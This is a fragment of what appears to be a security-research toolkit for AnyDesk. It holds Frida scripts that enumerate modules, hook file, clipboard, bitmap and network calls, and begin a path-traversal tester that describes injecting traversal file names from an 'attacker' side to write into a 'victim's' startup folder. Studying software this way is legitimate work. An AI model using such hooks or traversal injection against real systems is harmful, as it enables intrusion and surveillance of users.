function findOpenSSLIndicators() {
|
||||||
|
const mods = Process.enumerateModules();
|
||||||
|
const indicators = [];
|
||||||
|
|
||||||
|
for (const m of mods) {
|
||||||
|
const nameLower = m.name.toLowerCase();
|
||||||
|
if (nameLower.includes('ssl') || nameLower.includes('crypto') ||
|
||||||
|
nameLower.includes('tls') || nameLower.includes('openssl') ||
|
||||||
|
nameLower.includes('mbedtls') || nameLower.includes('boringssl') ||
|
||||||
|
nameLower.includes('libcrypto') || nameLower.includes('libssl') ||
|
||||||
|
nameLower.includes('schannel') || nameLower.includes('ncrypt') ||
|
||||||
|
nameLower.includes('bcrypt') || nameLower.includes('sspicli')) {
|
||||||
|
indicators.push({
|
||||||
|
name: m.name,
|
||||||
|
base: m.base.toString(),
|
||||||
|
size: m.size,
|
||||||
|
path: m.path
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return indicators;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Run all phases
|
||||||
|
// ============================================================
|
||||||
|
const report = {};
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Phase 1: Enumerating modules...'});
|
||||||
|
report.modules = enumModules();
|
||||||
|
send({type: 'status', msg: `Found ${report.modules.length} modules`});
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Phase 2: Finding TLS/crypto exports...'});
|
||||||
|
report.tls_exports = findTlsExports();
|
||||||
|
send({type: 'status', msg: `Found ${report.tls_exports.length} interesting exports`});
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Phase 3: Scanning for interesting strings...'});
|
||||||
|
report.strings = findInterestingStrings();
|
||||||
|
send({type: 'status', msg: `Found ${report.strings.length} string patterns`});
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'Phase 4: Looking for TLS library indicators...'});
|
||||||
|
report.tls_indicators = findOpenSSLIndicators();
|
||||||
|
send({type: 'status', msg: `Found ${report.tls_indicators.length} TLS-related modules`});
|
||||||
|
|
||||||
|
send({type: 'result', data: report});
|
||||||
|
"""
|
||||||
|
|
||||||
|
def on_message(message, data):
|
||||||
|
if message['type'] == 'send':
|
||||||
|
payload = message['payload']
|
||||||
|
if payload.get('type') == 'status':
|
||||||
|
print(f" [*] {payload['msg']}")
|
||||||
|
elif payload.get('type') == 'result':
|
||||||
|
global result_data
|
||||||
|
result_data = payload['data']
|
||||||
|
elif message['type'] == 'error':
|
||||||
|
print(f" [!] ERROR: {message['description']}")
|
||||||
|
|
||||||
|
def find_anydesk_pid():
|
||||||
|
"""Find AnyDesk process ID"""
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
output = subprocess.check_output(
|
||||||
|
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL
|
||||||
|
)
|
||||||
|
for line in output.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
return int(parts[1].strip('"'))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global result_data
|
||||||
|
result_data = None
|
||||||
|
|
||||||
|
print("=" * 60)
|
||||||
|
print(" AnyDesk Process Recon")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
pid = find_anydesk_pid()
|
||||||
|
if not pid:
|
||||||
|
print("[!] AnyDesk.exe not found. Make sure it's running.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||||
|
print(f"[+] Attaching Frida...")
|
||||||
|
|
||||||
|
try:
|
||||||
|
session = frida.attach(pid)
|
||||||
|
except frida.ProcessNotFoundError:
|
||||||
|
print("[!] Could not attach to AnyDesk. Run as Administrator.")
|
||||||
|
sys.exit(1)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Frida attach failed: {e}")
|
||||||
|
print("[!] Make sure to run as Administrator.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("[+] Injecting recon agent...")
|
||||||
|
script = session.create_script(AGENT_CODE, runtime='v8')
|
||||||
|
script.on('message', on_message)
|
||||||
|
script.load()
|
||||||
|
|
||||||
|
# Wait for results
|
||||||
|
timeout = 30
|
||||||
|
for i in range(timeout * 10):
|
||||||
|
if result_data is not None:
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
if result_data is None:
|
||||||
|
print("[!] Timed out waiting for results")
|
||||||
|
session.detach()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Save and display results
|
||||||
|
output_path = "recon_results.json"
|
||||||
|
with open(output_path, 'w') as f:
|
||||||
|
json.dump(result_data, f, indent=2)
|
||||||
|
|
||||||
|
print(f"\n[+] Full results saved to {output_path}")
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
print(f"\n{'=' * 60}")
|
||||||
|
print(" SUMMARY")
|
||||||
|
print(f"{'=' * 60}")
|
||||||
|
|
||||||
|
print(f"\n[Modules] {len(result_data['modules'])} loaded")
|
||||||
|
for m in result_data['modules'][:10]:
|
||||||
|
print(f" {m['name']:30s} @ {m['base']} ({m['size']:>10,} bytes)")
|
||||||
|
if len(result_data['modules']) > 10:
|
||||||
|
print(f" ... and {len(result_data['modules'])-10} more (see JSON)")
|
||||||
|
|
||||||
|
print(f"\n[TLS/Crypto Related Modules]")
|
||||||
|
if result_data['tls_indicators']:
|
||||||
|
for m in result_data['tls_indicators']:
|
||||||
|
print(f" {m['name']:30s} @ {m['base']} {m['path']}")
|
||||||
|
else:
|
||||||
|
print(" None found (AnyDesk may use statically linked TLS)")
|
||||||
|
|
||||||
|
print(f"\n[Interesting Exports] {len(result_data['tls_exports'])} found")
|
||||||
|
# Group by category
|
||||||
|
tls_funcs = [e for e in result_data['tls_exports']
|
||||||
|
if any(k in e['name'] for k in ['SSL_', 'Encrypt', 'Decrypt', 'mbedtls', 'Crypt'])]
|
||||||
|
net_funcs = [e for e in result_data['tls_exports']
|
||||||
|
if any(k in e['name'] for k in ['send', 'recv', 'WSA'])]
|
||||||
|
file_funcs = [e for e in result_data['tls_exports']
|
||||||
|
if any(k in e['name'] for k in ['CreateFile', 'WriteFile', 'ReadFile', 'MoveFile', 'CopyFile', 'Directory'])]
|
||||||
|
clip_funcs = [e for e in result_data['tls_exports']
|
||||||
|
if 'Clipboard' in e['name'] or 'clipboard' in e['name']]
|
||||||
|
img_funcs = [e for e in result_data['tls_exports']
|
||||||
|
if any(k in e['name'] for k in ['DIB', 'Bitmap', 'bitmap'])]
|
||||||
|
|
||||||
|
if tls_funcs:
|
||||||
|
print(f"\n TLS/Crypto ({len(tls_funcs)}):")
|
||||||
|
for e in tls_funcs[:15]:
|
||||||
|
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||||
|
|
||||||
|
if net_funcs:
|
||||||
|
print(f"\n Network ({len(net_funcs)}):")
|
||||||
|
for e in net_funcs[:10]:
|
||||||
|
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||||
|
|
||||||
|
if file_funcs:
|
||||||
|
print(f"\n File I/O ({len(file_funcs)}):")
|
||||||
|
for e in file_funcs[:10]:
|
||||||
|
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||||
|
|
||||||
|
if clip_funcs:
|
||||||
|
print(f"\n Clipboard ({len(clip_funcs)}):")
|
||||||
|
for e in clip_funcs:
|
||||||
|
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||||
|
|
||||||
|
if img_funcs:
|
||||||
|
print(f"\n Image/Bitmap ({len(img_funcs)}):")
|
||||||
|
for e in img_funcs:
|
||||||
|
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
|
||||||
|
|
||||||
|
print(f"\n[String Patterns in AnyDesk.exe]")
|
||||||
|
if result_data['strings']:
|
||||||
|
for s in result_data['strings']:
|
||||||
|
print(f" '{s['pattern']}' — {s['count']} hits, first @ {s['first_addr']}")
|
||||||
|
if s['context']:
|
||||||
|
print(f" context: {s['context']}")
|
||||||
|
else:
|
||||||
|
print(" No patterns found in main module")
|
||||||
|
|
||||||
|
session.detach()
|
||||||
|
print(f"\n[+] Done. Review {output_path} for full details.")
|
||||||
|
print("[+] Next step: run 02_sniffer.py to capture protocol traffic")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,248 @@
|
|||||||
|
"""
|
||||||
|
AnyDesk Sniffer v4 — hooks ALL AnyDesk processes
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import subprocess
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
CAPTURE_DIR = "captures"
|
||||||
|
|
||||||
|
AGENT_CODE = r"""
|
||||||
|
var hookCount = 0;
|
||||||
|
|
||||||
|
function getExport(mod, name) {
|
||||||
|
try {
|
||||||
|
var m = Process.findModuleByName(mod);
|
||||||
|
if (!m) return null;
|
||||||
|
return m.findExportByName(name);
|
||||||
|
} catch(e) { return null; }
|
||||||
|
}
|
||||||
|
|
||||||
|
function analyzeBuffer(arr, len) {
|
||||||
|
var tags = [];
|
||||||
|
var run = 0, maxRun = 0, bestStr = '', curStr = '';
|
||||||
|
for (var i = 0; i < len; i++) {
|
||||||
|
var b = arr[i];
|
||||||
|
if (b >= 0x20 && b < 0x7f) { run++; curStr += String.fromCharCode(b); }
|
||||||
|
else { if (run > maxRun) { maxRun = run; bestStr = curStr; } run = 0; curStr = ''; }
|
||||||
|
}
|
||||||
|
if (run > maxRun) { maxRun = run; bestStr = curStr; }
|
||||||
|
if (maxRun > 10) tags.push('STR:' + bestStr.substring(0, 80));
|
||||||
|
if (len >= 8 && arr[0]===0x89 && arr[1]===0x50 && arr[2]===0x4E && arr[3]===0x47) tags.push('PNG');
|
||||||
|
if (len >= 2 && arr[0]===0x42 && arr[1]===0x4D) tags.push('BMP');
|
||||||
|
return tags;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- FILE I/O ----
|
||||||
|
var p1 = getExport('KERNEL32.DLL', 'CreateFileW');
|
||||||
|
if (p1) { Interceptor.attach(p1, { onEnter: function(args) { try {
|
||||||
|
var path = args[0].readUtf16String(); if (!path) return;
|
||||||
|
var pl = path.toLowerCase();
|
||||||
|
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1||pl.indexOf('\\registry')!==-1) return;
|
||||||
|
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
|
||||||
|
var isW = (access&0x40000000)!==0||(access&0x2)!==0, isC = disp===1||disp===2||disp===4;
|
||||||
|
if (isW||isC||pl.indexOf('anydesk')!==-1||pl.indexOf('..')!==-1||pl.indexOf('desktop')!==-1||pl.indexOf('download')!==-1||pl.indexOf('startup')!==-1) {
|
||||||
|
var fl=[]; if(path.indexOf('..\\')!==-1)fl.push('TRAV_BS'); if(path.indexOf('../')!==-1)fl.push('TRAV_FS'); if(pl.indexOf('startup')!==-1)fl.push('STARTUP');
|
||||||
|
send({t:'file',op:'Create',path:path,w:isW,c:isC,fl:fl,ts:Date.now()});
|
||||||
|
}} catch(e){} }}); hookCount++; }
|
||||||
|
|
||||||
|
var p2 = getExport('KERNEL32.DLL', 'MoveFileExW');
|
||||||
|
if(p2){Interceptor.attach(p2,{onEnter:function(args){try{send({t:'move',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||||
|
|
||||||
|
var p3 = getExport('KERNEL32.DLL', 'CopyFileW');
|
||||||
|
if(p3){Interceptor.attach(p3,{onEnter:function(args){try{send({t:'copy',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||||
|
|
||||||
|
var p4 = getExport('KERNEL32.DLL', 'CreateDirectoryW');
|
||||||
|
if(p4){Interceptor.attach(p4,{onEnter:function(args){try{send({t:'mkdir',path:args[0].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||||
|
|
||||||
|
// ---- WriteFile ----
|
||||||
|
var p5 = getExport('KERNEL32.DLL', 'WriteFile');
|
||||||
|
if(p5){ var wc=0; Interceptor.attach(p5,{onEnter:function(args){
|
||||||
|
this.sz=args[2].toInt32(); if(this.sz>64&&wc<300){wc++;try{
|
||||||
|
var preview=args[1].readByteArray(Math.min(this.sz,64));var arr=new Uint8Array(preview);
|
||||||
|
var tags=analyzeBuffer(arr,arr.length);if(tags.length>0)send({t:'write',sz:this.sz,tags:tags,ts:Date.now()});
|
||||||
|
}catch(e){}}}}); hookCount++; }
|
||||||
|
|
||||||
|
// ---- GDI Bitmaps ----
|
||||||
|
var p6 = getExport('GDI32.dll', 'CreateDIBSection');
|
||||||
|
if(p6){Interceptor.attach(p6,{onEnter:function(args){try{var pbmi=args[1];if(pbmi.isNull())return;
|
||||||
|
var w=pbmi.add(4).readS32(),h=pbmi.add(8).readS32(),bpp=pbmi.add(14).readU16();
|
||||||
|
var alloc=Math.abs(w)*Math.abs(h)*(bpp/8);
|
||||||
|
send({t:'bmp',op:'DIB',w:w,h:h,bpp:bpp,alloc:alloc,ts:Date.now()});
|
||||||
|
if(Math.abs(w)>8192||Math.abs(h)>8192)send({t:'alert',m:'HUGE BMP '+w+'x'+h+'@'+bpp});
|
||||||
|
}catch(e){}}});hookCount++;}
|
||||||
|
|
||||||
|
var p7 = getExport('GDI32.dll', 'CreateCompatibleBitmap');
|
||||||
|
if(p7){Interceptor.attach(p7,{onEnter:function(args){var cx=args[1].toInt32(),cy=args[2].toInt32();
|
||||||
|
if(cx>0&&cy>0)send({t:'bmp',op:'Compat',w:cx,h:cy,bpp:0,alloc:0,ts:Date.now()});}});hookCount++;}
|
||||||
|
|
||||||
|
// ---- Clipboard ----
|
||||||
|
var p8=getExport('USER32.dll','SetClipboardData'),p9=getExport('USER32.dll','GetClipboardData');
|
||||||
|
var cfn={1:'TEXT',2:'BITMAP',7:'OEM',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'};
|
||||||
|
if(p8){Interceptor.attach(p8,{onEnter:function(args){var f=args[0].toInt32();send({t:'clip',op:'SET',fmt:f,name:cfn[f]||('C'+f),ts:Date.now()});}});hookCount++;}
|
||||||
|
if(p9){Interceptor.attach(p9,{onEnter:function(args){this.f=args[0].toInt32();},onLeave:function(ret){if(!ret.isNull())send({t:'clip',op:'GET',fmt:this.f,name:cfn[this.f]||('C'+this.f),ts:Date.now()});}});hookCount++;}
|
||||||
|
|
||||||
|
// ---- ALL socket functions ----
|
||||||
|
var sc=0,rc=0,wsc=0,wrc=0;
|
||||||
|
var pS=getExport('WS2_32.dll','send');
|
||||||
|
if(pS){Interceptor.attach(pS,{onLeave:function(ret){var n=ret.toInt32();if(n>0){sc++;if(sc<=30||sc%100===0)send({t:'net',d:'S',sz:n,n:sc,ts:Date.now()});}}});hookCount++;}
|
||||||
|
var pR=getExport('WS2_32.dll','recv');
|
||||||
|
if(pR){Interceptor.attach(pR,{onLeave:function(ret){var n=ret.toInt32();if(n>0){rc++;if(rc<=30||rc%100===0)send({t:'net',d:'R',sz:n,n:rc,ts:Date.now()});}}});hookCount++;}
|
||||||
|
var pWS=getExport('WS2_32.dll','WSASend');
|
||||||
|
if(pWS){Interceptor.attach(pWS,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
|
||||||
|
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wsc++;
|
||||||
|
if(wsc<=30||wsc%100===0)send({t:'net',d:'WS',sz:total,n:wsc,ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||||
|
var pWR=getExport('WS2_32.dll','WSARecv');
|
||||||
|
if(pWR){Interceptor.attach(pWR,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
|
||||||
|
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wrc++;
|
||||||
|
if(wrc<=30||wrc%100===0)send({t:'net',d:'WR',sz:total,n:wrc,ts:Date.now()});}catch(e){}}});hookCount++;}
|
||||||
|
|
||||||
|
// ---- Large heap alloc ----
|
||||||
|
var pH=getExport('ntdll.dll','RtlAllocateHeap');
|
||||||
|
if(pH){Interceptor.attach(pH,{onEnter:function(args){this.sz=args[2].toInt32()>>>0;},onLeave:function(ret){
|
||||||
|
if(this.sz>50*1024*1024)send({t:'alert',m:'BIG ALLOC '+(this.sz/1024/1024).toFixed(1)+'MB',ts:Date.now()});}});hookCount++;}
|
||||||
|
|
||||||
|
setInterval(function(){send({t:'stats',s:sc,r:rc,ws:wsc,wr:wrc,ts:Date.now()});},10000);
|
||||||
|
send({t:'log',m:hookCount+' hooks OK'});
|
||||||
|
send({t:'ready'});
|
||||||
|
"""
|
||||||
|
|
||||||
|
class Capture:
|
||||||
|
def __init__(self, d):
|
||||||
|
self.d = d; os.makedirs(d, exist_ok=True)
|
||||||
|
self.ev = []; self.ready_count = 0; self.t0 = time.time()
|
||||||
|
|
||||||
|
def on_msg(self, pid, msg, data):
|
||||||
|
if msg['type'] == 'send':
|
||||||
|
p = msg['payload']
|
||||||
|
t = p.get('t','')
|
||||||
|
ts = (p.get('ts', self.t0*1000)/1000) - self.t0
|
||||||
|
tag = f"P{pid}"
|
||||||
|
|
||||||
|
if t == 'log': print(f" [{tag}] {p['m']}")
|
||||||
|
elif t == 'ready': self.ready_count += 1
|
||||||
|
elif t == 'file':
|
||||||
|
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
|
||||||
|
m = 'W' if p.get('w') else 'R'; c = '+C' if p.get('c') else ''
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [FILE {m}{c}] {p['path']} {fl}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'move':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [MOVE] {p['src']} -> {p['dst']}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'copy':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [COPY] {p['src']} -> {p['dst']}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'mkdir':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [MKDIR] {p['path']}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'write':
|
||||||
|
tg = ', '.join(p.get('tags',[]))
|
||||||
|
if tg: print(f" [{ts:7.2f}s] [{tag}] [WRITE] {p['sz']}b {tg}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'bmp':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [BITMAP] {p['op']} {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'clip':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [CLIP] {p['op']} {p['name']}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'net':
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] [NET] {p['d']} {p['sz']}b #{p['n']}")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'alert':
|
||||||
|
print(f"\n {'!'*50}\n [{tag}] ALERT: {p['m']}\n {'!'*50}\n")
|
||||||
|
self.ev.append({**p, 'pid': pid})
|
||||||
|
elif t == 'stats':
|
||||||
|
total = p['s'] + p['r'] + p.get('ws',0) + p.get('wr',0)
|
||||||
|
if total > 0: # Only print stats if there's activity
|
||||||
|
print(f" [{ts:7.2f}s] [{tag}] send={p['s']} recv={p['r']} WSASend={p.get('ws',0)} WSARecv={p.get('wr',0)}")
|
||||||
|
elif msg['type'] == 'error':
|
||||||
|
print(f" [P{pid}] ERROR: {msg['description']}")
|
||||||
|
|
||||||
|
def save(self):
|
||||||
|
path = os.path.join(self.d, "capture.json")
|
||||||
|
with open(path, 'w') as f:
|
||||||
|
json.dump({'dur': time.time()-self.t0, 'events': self.ev}, f, indent=2)
|
||||||
|
fi = [e for e in self.ev if e.get('t')=='file']
|
||||||
|
bm = [e for e in self.ev if e.get('t')=='bmp']
|
||||||
|
cl = [e for e in self.ev if e.get('t')=='clip']
|
||||||
|
nt = [e for e in self.ev if e.get('t')=='net']
|
||||||
|
al = [e for e in self.ev if e.get('t')=='alert']
|
||||||
|
print(f"\n[+] {len(self.ev)} events -> {path}")
|
||||||
|
print(f" Files:{len(fi)} Bitmaps:{len(bm)} Clip:{len(cl)} Net:{len(nt)} Alerts:{len(al)}")
|
||||||
|
|
||||||
|
|
||||||
|
def find_all_pids():
|
||||||
|
out = subprocess.check_output(
|
||||||
|
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL)
|
||||||
|
pids = []
|
||||||
|
for line in out.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
pids.append(int(parts[1].strip('"')))
|
||||||
|
return pids
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("=" * 60)
|
||||||
|
print(" AnyDesk Sniffer v4 — ALL processes")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
pids = find_all_pids()
|
||||||
|
if not pids:
|
||||||
|
print("[!] No AnyDesk processes found")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Found {len(pids)} AnyDesk processes: {pids}")
|
||||||
|
|
||||||
|
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||||
|
cap = Capture(os.path.join(CAPTURE_DIR, f"cap_{ts}"))
|
||||||
|
|
||||||
|
sessions = []
|
||||||
|
scripts = []
|
||||||
|
|
||||||
|
for pid in pids:
|
||||||
|
try:
|
||||||
|
print(f"[+] Attaching to PID {pid}...")
|
||||||
|
session = frida.attach(pid)
|
||||||
|
script = session.create_script(AGENT_CODE, runtime='v8')
|
||||||
|
script.on('message', lambda msg, data, p=pid: cap.on_msg(p, msg, data))
|
||||||
|
script.load()
|
||||||
|
sessions.append(session)
|
||||||
|
scripts.append(script)
|
||||||
|
print(f"[+] PID {pid} hooked")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] PID {pid} failed: {e}")
|
||||||
|
|
||||||
|
# Wait for all to be ready
|
||||||
|
for _ in range(100):
|
||||||
|
if cap.ready_count >= len(scripts):
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
print(f"\n{'='*60}")
|
||||||
|
print(f" {cap.ready_count}/{len(scripts)} agents ready")
|
||||||
|
print(" NOW: connect from VM, transfer files, move mouse")
|
||||||
|
print(" Ctrl+C to stop")
|
||||||
|
print(f"{'='*60}\n")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(0.1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[+] Stopping...")
|
||||||
|
|
||||||
|
cap.save()
|
||||||
|
for s in sessions:
|
||||||
|
try:
|
||||||
|
s.detach()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,495 @@
|
|||||||
|
"""
|
||||||
|
AnyDesk File Transfer Path Traversal Tester
|
||||||
|
Hooks the receiving side's file write operations and tests if AnyDesk
|
||||||
|
sanitizes filenames from the sender. Also hooks the sending side to
|
||||||
|
inject traversal paths into outgoing file transfer data.
|
||||||
|
|
||||||
|
PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
|
||||||
|
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python 03_traversal.py --phase monitor (run on victim, then transfer a file)
|
||||||
|
python 03_traversal.py --phase inject (run on attacker, then transfer a file)
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
# ============================================================
|
||||||
|
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
|
||||||
|
# Logs every file creation to see where AnyDesk writes files
|
||||||
|
# ============================================================
|
||||||
|
MONITOR_AGENT = r"""
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
const watchPaths = [];
|
||||||
|
let fileOps = [];
|
||||||
|
|
||||||
|
// Hook CreateFileW to see ALL file creations
|
||||||
|
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
|
||||||
|
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
|
||||||
|
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
|
||||||
|
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
|
||||||
|
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');
|
||||||
|
|
||||||
|
// Filter noise: only log paths that might be user files or interesting
|
||||||
|
function isInteresting(path) {
|
||||||
|
if (!path) return false;
|
||||||
|
const p = path.toLowerCase();
|
||||||
|
// Skip system noise
|
||||||
|
if (p.includes('\\device\\')) return false;
|
||||||
|
if (p.includes('\\pipe\\')) return false;
|
||||||
|
if (p.includes('\\windows\\system32\\')) return false;
|
||||||
|
if (p.includes('\\windows\\syswow64\\')) return false;
|
||||||
|
if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
|
||||||
|
if (p.includes('anydesk')) return true;
|
||||||
|
// User profile paths
|
||||||
|
if (p.includes('\\users\\')) return true;
|
||||||
|
if (p.includes('\\desktop\\')) return true;
|
||||||
|
if (p.includes('\\downloads\\')) return true;
|
||||||
|
if (p.includes('\\documents\\')) return true;
|
||||||
|
if (p.includes('\\startup\\')) return true;
|
||||||
|
// Traversal indicators
|
||||||
|
if (p.includes('..')) return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function checkTraversal(path) {
|
||||||
|
const flags = [];
|
||||||
|
if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
|
||||||
|
if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
|
||||||
|
if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
|
||||||
|
if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
|
||||||
|
if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
|
||||||
|
if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CreateFileW) {
|
||||||
|
Interceptor.attach(CreateFileW, {
|
||||||
|
onEnter(args) {
|
||||||
|
const path = args[0].readUtf16String();
|
||||||
|
if (isInteresting(path)) {
|
||||||
|
const traversalFlags = checkTraversal(path);
|
||||||
|
const access = args[1].toInt32();
|
||||||
|
const disposition = args[4].toInt32();
|
||||||
|
|
||||||
|
// GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
|
||||||
|
const isWrite = (access & 0x40000000) !== 0 ||
|
||||||
|
(access & 0x00000002) !== 0; // FILE_WRITE_DATA
|
||||||
|
const isCreate = disposition === 1 || disposition === 2 ||
|
||||||
|
disposition === 4; // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS
|
||||||
|
|
||||||
|
const op = {
|
||||||
|
type: 'CreateFileW',
|
||||||
|
path: path,
|
||||||
|
isWrite: isWrite,
|
||||||
|
isCreate: isCreate,
|
||||||
|
access: '0x' + (access >>> 0).toString(16),
|
||||||
|
disposition: disposition,
|
||||||
|
traversalFlags: traversalFlags,
|
||||||
|
timestamp: Date.now(),
|
||||||
|
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
|
||||||
|
.map(DebugSymbol.fromAddress).join('\n')
|
||||||
|
};
|
||||||
|
|
||||||
|
send({type: 'file_op', data: op});
|
||||||
|
|
||||||
|
if (traversalFlags.length > 0) {
|
||||||
|
send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
|
||||||
|
}
|
||||||
|
if (isWrite && isCreate) {
|
||||||
|
send({type: 'file_create', path: path, traversalFlags: traversalFlags});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (MoveFileW) {
|
||||||
|
Interceptor.attach(MoveFileW, {
|
||||||
|
onEnter(args) {
|
||||||
|
const src = args[0].readUtf16String();
|
||||||
|
const dst = args[1].readUtf16String();
|
||||||
|
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (MoveFileExW) {
|
||||||
|
Interceptor.attach(MoveFileExW, {
|
||||||
|
onEnter(args) {
|
||||||
|
const src = args[0].readUtf16String();
|
||||||
|
const dst = args[1].readUtf16String();
|
||||||
|
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CopyFileW) {
|
||||||
|
Interceptor.attach(CopyFileW, {
|
||||||
|
onEnter(args) {
|
||||||
|
const src = args[0].readUtf16String();
|
||||||
|
